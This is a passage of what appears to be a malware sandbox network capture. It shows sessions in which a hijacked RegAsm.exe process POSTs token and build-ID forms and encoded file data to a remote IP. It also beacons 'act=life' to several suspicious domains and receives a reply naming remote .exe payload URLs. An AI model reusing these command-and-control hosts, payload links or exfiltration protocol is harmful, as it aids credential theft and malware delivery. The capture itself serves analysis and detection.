UUDEopaSgApDS0UDQlFFFMYUlLQaQCUhpaKAEooopgFFHakpjCiiigBKKKKYAaSiigYUUUUAJRS0lABRRQaBhRSCg0wCiiigApKWkNAwooooAKSig0wCiiimMSig0UAFFJS0DCikpaACkoopgLRmkpKAJIj+9T/eH8637w/6ZL9a59P9Yv8AvCt+8/4+5Pr/AErnq/GhL4iGikpDUmgtFJRTKA0tJRmgQtJRRQMKKKKYC5ozzTaX3pBYdn1FGQa
2024-10-02 15:17:03 UTC	16355	OUT	Data Raw: 41 44 65 61 4b 57 69 67 42 4d 63 30 59 70 31 4a 51 4d 54 46 42 70 61 4d 55 41 52 7a 2f 41 50 48 70 63 66 38 41 58 4d 2f 7a 46 5a 2b 6d 66 38 66 44 2f 77 43 35 57 6a 63 66 38 65 64 78 2f 77 42 63 2f 77 43 6f 72 4f 30 7a 2f 6a 34 66 2f 63 6f 6a 73 77 4e 4f 6a 76 53 30 6f 47 4b 41 47 30 65 31 4f 70 4d 55 41 4a 52 69 6e 41 55 47 67 4c 6a 54 53 67 55 55 74 46 77 75 4a 52 53 30 41 55 41 4e 78 78 53 30 75 4f 4b 4d 55 58 43 34 6d 4b 58 48 46 4c 69 6c 78 53 75 49 62 69 69 6e 59 6f 41 6f 75 46 78 75 4b 57 6e 59 78 32 6f 78 53 75 46 78 41 4b 74 57 41 2f 30 6e 2f 74 6d 2b 66 2b 2b 54 56 66 46 57 72 49 66 76 7a 2f 31 7a 66 2f 30 45 31 6e 55 2b 46 6b 74 6e 42 53 64 65 76 65 6f 69 66 58 6a 48 70 55 73 68 2b 59 31 45 54 58 70 64 45 64 38 64 68 75 65 4d 6d 6b 50 34 55 70 Data Ascii: ADeaKWigBMc0Yp1JQMTFBpaMUARz/APHpcf8AXM/zFZ+mf8fD/wC5Wjcf8edx/wBc/wCorO0z/j4f/cojswNOjvS0oGKAG0e1OpMUAJRinAUGgLjTSgUUtFwuJRS0AUANxxS0uOKMUXC4mKXHFLilxSuIbiinYoAouFxuKWnYx2oxSuFxAKtWA/0n/tm+f++TVfFWrIfvz/1zf/0E1nU+FktnBSdeveoifXjHpUsh+Y1ETXpdEd8dhueMmkP4Up
2024-10-02 15:17:03 UTC	16355	OUT	Data Raw: 4b 4b 72 78 36 6e 70 33 6e 36 4e 5a 7a 69 38 57 34 31 54 63 46 6e 52 6c 4d 63 54 65 61 38 61 35 54 5a 6b 6a 4b 6a 50 7a 44 72 56 65 30 31 42 5a 72 76 51 4c 65 58 7a 45 66 55 5a 50 4c 6d 41 78 38 68 45 37 78 48 62 78 2f 73 39 38 31 77 2f 77 42 6f 55 4f 62 6c 76 31 61 2b 37 66 38 41 49 39 54 2b 78 38 56 79 63 39 74 4e 50 78 32 4e 35 4e 5a 31 4f 4f 4e 55 54 55 62 74 55 55 41 4b 71 7a 4d 41 41 4f 77 35 70 66 37 62 31 62 2f 6f 4a 33 76 2f 41 48 2f 62 2f 47 75 66 73 74 52 6a 75 4c 72 51 59 57 61 55 66 32 6c 4b 55 66 70 6c 52 39 6f 65 4c 6a 6a 30 58 50 4f 65 61 66 5a 36 76 59 53 6e 52 72 57 34 46 36 6c 78 71 68 6b 56 4a 31 5a 43 6b 52 45 7a 78 4a 6c 4e 6d 53 4d 6f 4d 2f 4d 4f 70 2b 6c 63 33 31 6a 41 32 56 6f 4c 58 79 58 51 37 6e 67 73 32 54 6b 6e 55 66 75 37 2b Data Ascii: KKrx6np3n6NZzi8W41TcFnRlMcTea8a5TZkjKjPzDrVe01BZrvQLeXzEfUZPLmAx8hE7xHbx/s981w/wBoUOblv1a+7f8AI9T+x8Vyc9tNPx2N5NZ1OONUTUbtUUAKqzMAAOw5pf7b1b/oJ3v/AH/b/GufstRjuLrQYWaUf2lKUfplR9oeLjj0XPOeafZ6vYSnRrW4F6lxqhkVJ1ZCkREzxJlNmSMoM/MOp+lc31jA2VoLXyXQ7ngs2TknUfu7+
2024-10-02 15:17:03 UTC	16355	OUT	Data Raw: 76 59 35 48 47 63 64 52 36 31 36 4c 2f 77 70 76 2f 71 50 66 2b 53 66 2f 77 42 6e 51 76 77 63 47 34 62 74 64 4a 58 50 49 46 70 67 2f 77 44 6f 64 66 4b 4f 4d 6e 30 50 72 71 6d 48 78 46 53 4b 6a 79 62 62 61 6f 33 4e 52 30 64 35 76 47 36 58 6f 38 48 66 61 56 45 38 4c 66 32 70 2f 61 65 7a 47 41 76 7a 2b 56 6e 2b 48 48 54 76 74 39 36 66 34 52 73 62 71 32 31 57 56 35 2f 42 33 39 6a 4b 59 43 42 63 66 32 6d 4c 6a 63 64 79 2f 4a 74 48 54 50 58 50 74 37 31 32 64 46 61 32 52 36 6e 73 49 63 33 4e 62 58 30 58 2b 52 34 51 6e 2b 72 58 36 43 6e 55 31 50 38 41 56 72 39 42 54 71 2b 32 70 66 77 34 2b 69 50 7a 61 76 38 41 78 5a 65 72 2f 4d 4b 4b 4b 4b 30 4d 67 72 72 2f 41 41 70 62 79 58 66 68 7a 78 44 62 52 44 4d 6b 30 48 6c 6f 50 55 6c 48 41 72 6b 4b 37 7a 34 64 2f 77 43 71 Data Ascii: vY5HGcdR616L/wpv/qPf+Sf/wBnQvwcG4btdJXPIFpg/wDodfKOMn0PrqmHxFSKjybbao3NR0d5vG6Xo8HfaVE8Lf2p/aezGAvz+Vn+HHTvt96f4Rsbq21WV5/B39jKYCBcf2mLjcdy/JtHTPXPt712dFa2R6nsIc3NbX0X+R4Qn+rX6CnU1P8AVr9BTq+2pfw4+iPzav8AxZer/MKKKK0Mgrr/AApbyXfhzxDbRDMk0HloPUlHArkK7z4d/wCq
2024-10-02 15:17:03 UTC	152	OUT	Data Raw: 33 32 65 6f 58 4c 75 41 77 2b 36 79 4d 53 53 6a 41 39 78 31 42 49 50 57 75 57 6f 6f 73 42 30 47 6f 65 4e 2f 45 75 6f 2b 66 48 4a 72 56 37 46 61 7a 4b 59 7a 5a 32 38 37 78 32 36 78 6b 59 38 74 59 77 64 6f 58 48 47 4d 64 4b 35 2b 69 69 6d 41 56 63 6b 2f 35 41 74 72 2f 77 42 66 45 33 2f 6f 4d 64 55 36 75 53 66 38 67 57 31 2f 36 2b 4a 76 2f 51 59 36 41 50 2f 5a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 2d 2d 0d 0a Data Ascii: 32eoXLuAw+6yMSSjA9x1BIPWuWoosB0GoeN/Euo+fHJrV7FazKYzZ287x26xkY8tYwdoXHGMdK5+iimAVck/5Atr/wBfE3/oMdU6uSf8gW1/6+Jv/QY6AP/Z------GHJKJDAKEHJDGDGDGHID--
2024-10-02 15:17:04 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:04 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	65262	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:05 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBAEGCGCGIEGDHIDHJJE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:05 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 Data Ascii: ------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------DBAEGCGCGIEGDHIDHJJECont
2024-10-02 15:17:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:06 UTC	276	IN	Data Raw: 31 30 38 0d 0a 4d 54 49 32 4e 54 55 33 4d 33 78 6f 64 48 52 77 4f 69 38 76 4d 54 51 33 4c 6a 51 31 4c 6a 51 30 4c 6a 45 77 4e 43 39 73 5a 47 31 7a 4c 7a 59 32 5a 6d 4a 6d 59 32 4d 35 4f 54 59 7a 59 32 46 66 62 47 52 6d 63 32 35 68 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 4d 54 49 32 4e 54 55 33 4e 48 78 6f 64 48 52 77 4f 69 38 76 4d 54 51 33 4c 6a 51 31 4c 6a 51 30 4c 6a 45 77 4e 43 39 73 5a 47 31 7a 4c 7a 59 32 5a 6d 4a 6d 59 32 4e 6b 4f 44 4d 33 59 57 4e 66 64 6d 46 6b 5a 32 64 6b 63 32 45 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 78 4d 6a 59 31 4e 54 63 31 66 47 68 30 64 48 41 36 4c 79 38 78 4e 44 63 75 4e 44 55 75 4e 44 51 75 4d 54 41 30 4c 33 42 79 62 32 63 76 4e 6a 5a 6d 59 6d 5a 6a 59 7a 4d 77 4d 57 45 7a 4d 56 39 7a 64 33 64 7a 4c 6d Data Ascii: 108MTI2NTU3M3xodHRwOi8vMTQ3LjQ1LjQ0LjEwNC9sZG1zLzY2ZmJmY2M5OTYzY2FfbGRmc25hLmV4ZXwxfGtra2t8MTI2NTU3NHxodHRwOi8vMTQ3LjQ1LjQ0LjEwNC9sZG1zLzY2ZmJmY2NkODM3YWNfdmFkZ2dkc2EuZXhlfDF8a2tra3wxMjY1NTc1fGh0dHA6Ly8xNDcuNDUuNDQuMTA0L3Byb2cvNjZmYmZjYzMwMWEzMV9zd3dzLm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	65264	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:08 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:08 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 Data Ascii: ------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------AKJKFBAFIDAEBFHJKJEBCont
2024-10-02 15:17:09 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:09 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	65265	104.21.77.132	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:10 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: questionsmw.store
2024-10-02 15:17:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 15:17:10 UTC	772	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6dvqqijeffqau4uakrkbglfguj; expires=Sun, 26 Jan 2025 09:03:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iIv41HOfXKI5xMUcS898a1biAmZC6q0rR8vFQSJhXvPvbJGj1DeOHz14CR2xuTe%2BNXssCRU%2BEtUnHu4FNOetgmbVqkZrvNAhLTN2FJwfAEdoLj4qtuKl8NMZwNxgxVle0lBZjA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a863a8d15e82-EWR
2024-10-02 15:17:10 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 15:17:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	65266	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:10 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:10 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 Data Ascii: ------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------BKJJJDHDGDAAKECAKJDACont
2024-10-02 15:17:11 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:11 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	65267	188.114.96.3	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:11 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: soldiefieop.site
2024-10-02 15:17:11 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 15:17:11 UTC	774	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=63j71ulbica9fv72pb1jpm72ut; expires=Sun, 26 Jan 2025 09:03:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E4CgNv7HQHZEWu5rYvit9g7FOcDOH2Ldj7wbhe%2FyqoakHUxnrZ%2FsiohejOROtxhTVmSCPUA6Bv%2Bcpl8S5cN6FsyteSNJ2zrIikKtY9crAeZ4I9yngF%2F0%2FqcAw%2BP3oApQv%2F7r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a86a0bdd7293-EWR
2024-10-02 15:17:11 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 15:17:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	65268	104.21.56.150	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:12 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: abnomalrkmu.site
2024-10-02 15:17:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 15:17:12 UTC	762	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fkb3ob5vspt2q6lcm6ta5jte36; expires=Sun, 26 Jan 2025 09:03:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fYChtO4s0isWhhQlw08r9s5E5Lo8paLuhCz2dzeoN4gbQshA6ctBZUEklPibpHCm2vW6zq90L7dSzELAp2DLxRGlpzyvj%2BHqGG4w9NzS3Pa6NAPUTKvkdPqeZZPmJpKc2II7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a8717d7d1a34-EWR
2024-10-02 15:17:12 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 15:17:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	65269	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:13 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAKKKKJDBKKFIEBKEHD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:13 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 Data Ascii: ------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------ECAKKKKJDBKKFIEBKEHDCont
2024-10-02 15:17:14 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:14 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	65270	104.21.84.18	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:13 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: treatynreit.site
2024-10-02 15:17:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 15:17:14 UTC	764	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dg37jfo9bg5u4ktkftv1heitlt; expires=Sun, 26 Jan 2025 09:03:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=djerAliJKe8Yby7UTwKxibfR%2FGI0tvMMEdjDdGnp1XuijS5qgElX9rfQON8BYWXoU%2B8Hk46yyJCQOdB4VOkGVY9ARnxTtyPsNDvjqa7RpJ396WEhthzukc1bWf9uXnc1hF0K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a8791a980f9f-EWR
2024-10-02 15:17:14 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 15:17:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	65272	104.21.18.193	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:15 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: snarlypagowo.site
2024-10-02 15:17:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 15:17:15 UTC	776	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m4sr81ib4anc1d911u8ucfckp5; expires=Sun, 26 Jan 2025 09:03:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=akdXtxqpMYGpCEo4qKx3W6UjdIWg0sIJqbt1d2lhcjy93UfqjfmYoHH1%2Bvq3pmF0aldYh1o106O2AJdI27sTtpB5MUU17LkOr0gJH0w%2B3r%2BgPOWMXjmkGKVA37XwVWsYCC%2B1zQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a88389de42b2-EWR
2024-10-02 15:17:15 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 15:17:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	65271	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:15 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCFCAAAAFBAKEBFBAKK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
